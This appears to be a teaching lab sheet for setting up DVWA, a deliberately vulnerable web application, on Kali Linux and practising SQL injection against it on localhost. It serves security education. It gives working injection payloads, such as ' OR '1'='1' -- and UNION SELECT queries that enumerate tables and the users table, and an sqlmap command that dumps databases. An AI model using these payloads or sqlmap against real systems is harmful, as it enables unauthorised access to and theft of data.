Lab 5. Study SQL injection and perform SQL injection using DVWA.

Setup DVWA

Step 1: Install DVWA

1. Open a terminal in Kali Linux.
2. Install Apache and PHP:
3. sudo apt update
4. sudo apt install apache2 php php-mysqli unzip
5. Download DVWA:
6. git clone https://github.com/digininja/DVWA.git
7. Move DVWA to the web server root directory:
8. sudo mv DVWA /var/www/html/
9. Set appropriate permissions:
10. sudo chown -R www-data:www-data /var/www/html/DVWA
11. sudo chmod -R 755 /var/www/html/DVWA
12. Create a database for DVWA:
    - Start MySQL:
    - sudo service mysql start
    - Log in to MySQL:
    - mysql -u root -p
    - Execute the following commands in MySQL:
    - CREATE DATABASE dvwa;
    - CREATE USER 'dvwauser'@'localhost' IDENTIFIED BY 'password';
    - GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwauser'@'localhost';
    - FLUSH PRIVILEGES;
    - EXIT;
13. Configure DVWA:
    - Edit the config.inc.php file in DVWA:
    - sudo nano /var/www/html/DVWA/config/config.inc.php
    - Update the database credentials:
    - $_DVWA = array();
    - $_DVWA['db_server'] = '127.0.0.1';

  - $_DVWA['db_database'] = 'dvwa';
  - $_DVWA['db_user'] = 'dvwauser';
  - $_DVWA['db_password'] = 'password';

14. Start Apache:
15. sudo service apache2 start

Performing SQL Injection

Step 1: Access DVWA

1. Open a browser and navigate to:
2. http://localhost/DVWA
3. Log in using the default credentials:
   - Username: admin
   - Password: password
4. Set the Security Level to Low in the DVWA Security tab.

Step 2: SQL Injection on Login Page

1. Navigate to the SQL Injection tab in DVWA.
2. Use the following SQL payload in the input box:
   - For example:
   - ' OR '1'='1' --
   - Explanation:
     - ' closes the SQL query.
     - OR '1'='1' always evaluates to true.
     - -- comments out the rest of the query.
3. Click Submit and observe the results.
4. Capture the bypassed login or displayed data as a result of the injection.

Step 3: Extracting Data

1. Use an injection to fetch data:
2. ' UNION SELECT null, database() --
   - Purpose: Displays the database name.
3. Further queries can be used to enumerate tables and columns:

4. ' UNION SELECT null, table_name FROM information_schema.tables --
5. ' UNION SELECT null, column_name FROM information_schema.columns WHERE table_name='users' --
6. Show the database name or extracted data.

Step 4: Automating with SQLMap

1. Install SQLMap:
2. sudo apt install sqlmap
3. Use SQLMap to automate the injection:
4. sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<session_id>; security=low" --dbs
   - Replace <session_id> with your session cookie.
5. Display SQLMap extracting database information.